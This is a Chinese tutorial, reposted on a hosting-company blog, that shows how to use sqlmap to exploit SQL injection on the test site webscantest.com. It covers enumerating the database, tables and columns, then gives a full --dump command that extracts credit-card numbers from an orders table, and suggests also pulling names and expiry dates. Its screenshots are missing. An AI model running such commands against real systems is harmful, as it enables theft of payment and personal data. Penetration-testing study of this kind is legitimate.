温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么使用sqlmap提取数据

发布时间:2021-12-30 09:04:55 来源:亿速云 阅读:253 作者:iii 栏目:大数据

这篇文章主要讲解了“怎么使用sqlmap提取数据”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么使用sqlmap提取数据”吧!

步骤#1进行侦察以获取必要的信息     

当然,第一步是通过Web应用程序使用sqlmap对数据库进行侦察。为了成功提取数据,我们需要;  

1.数据库管理系统(DBMS)的类型  

2.数据库名称  

3.表格名称  

4.我们要提取其数据的列的名称  

我们从名为www.webscantest.com的网站获取了所有信息。

怎么使用sqlmap提取数据

怎么使用sqlmap提取数据

然后,我们从数据库中提取表和列,如下所示。

怎么使用sqlmap提取数据

怎么使用sqlmap提取数据

在订单表中,我们可以看到该公司收到的每个订单都存储有信用卡信息。那就是我们想要的!

步骤#2提取数据

现在我们有了所需的所有关键信息,现在该提取信用卡信息了。让我们回到sqlmap的帮助屏幕。只需输入;

kali> sqlmap-help

怎么使用sqlmap提取数据

正如您在上面看到的,我们需要在sqlmap中使用--dump选项以及列名和表名。如;

--dump

-C billing_CC_number

-T orders

-D webscantest

让我们将所有这些信息放在一起,看看是否可以从数据库中提取信用卡数据。

kali> sqlmap -u“ http://www.webscantest.com/datastore/search_get_by_id.php?id=4” --dump -C billing_CC_number -T订单-D webscantest

怎么使用sqlmap提取数据

怎么使用sqlmap提取数据

怎么使用sqlmap提取数据

如上所示,sqlmap提取了数据,然后以.csv格式将数据转储到我的Kali系统中,并将其保存到;

 /root/.sqlmap/output/www.webscantest.com/dump/webscantest/orders.csv

现在,我们拥有所有.csv文件格式的信用卡数据,可以在Excel,文本编辑器或任何电子表格程序中打开它们。

当然,如果我们需要更多数据,例如到期日期或名字和姓氏,则可以通过简单地将sqlmap命令中的信用卡列名替换为表中的适当列名(例如billing_firstname)来提取该数据。

感谢各位的阅读,以上就是“怎么使用sqlmap提取数据”的内容了,经过本文的学习后,相信大家对怎么使用sqlmap提取数据这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI